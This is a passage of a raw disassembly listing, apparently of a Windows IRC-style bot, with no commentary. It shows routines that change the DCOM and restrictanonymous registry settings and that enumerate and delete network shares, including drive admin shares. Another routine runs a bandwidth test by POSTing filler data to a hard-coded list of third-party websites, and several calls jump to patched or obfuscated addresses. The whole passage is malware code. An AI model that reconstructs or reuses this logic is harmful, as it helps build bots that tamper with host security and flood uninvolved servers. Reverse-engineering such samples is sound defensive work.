26D0000h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439920 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call near ptr 26D0000h nop loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_4398F0 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26D0000h sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_43350C push esi call dword_4CB030 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB1FC call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2700000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D128 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2651D2Ah test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB1F8, eax mov eax, [ebp+var_8] mov dword_4DB200, eax mov eax, [ebp+var_2C] mov dword_4DB1F4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB238, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB204 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399AC call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEB8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 2670000h cmp eax, esi mov dword_43DEC4[edi], eax jnz short loc_419E12 nop call near ptr 2670763h push eax lea eax, [ebp+var_378] push offset unk_439978 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 nop call near ptr 26D0000h sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB044, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_419F04 mov ax, word_438724 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_419EE6 push offset dword_439C48 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C28 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAF98 test eax, eax jz short loc_419F86 push offset dword_439BA8 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439B74 loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B38 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B08 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB06C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEB8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_4399D0 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439AE4 jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AB8 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_4399F0 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439A94 jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A68 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB004 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB044, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A228 mov ax, word_438768 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_41A20A push offset dword_439DC0 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DA4 loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAF98 test eax, eax jz short loc_41A2A6 push offset dword_439D64 jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D2C loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439CF0 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B08 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB06C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_4399D0 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439CD0 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CA8 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_4399E0 jb short loc_41A321 nop call near ptr 2801C2Ch test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CAFD4 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439CD0 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CA8 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439C78 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 26805CDh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_43381C ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E18 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call near ptr 26805CDh nop xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB240 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call near ptr 26C0550h nop test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 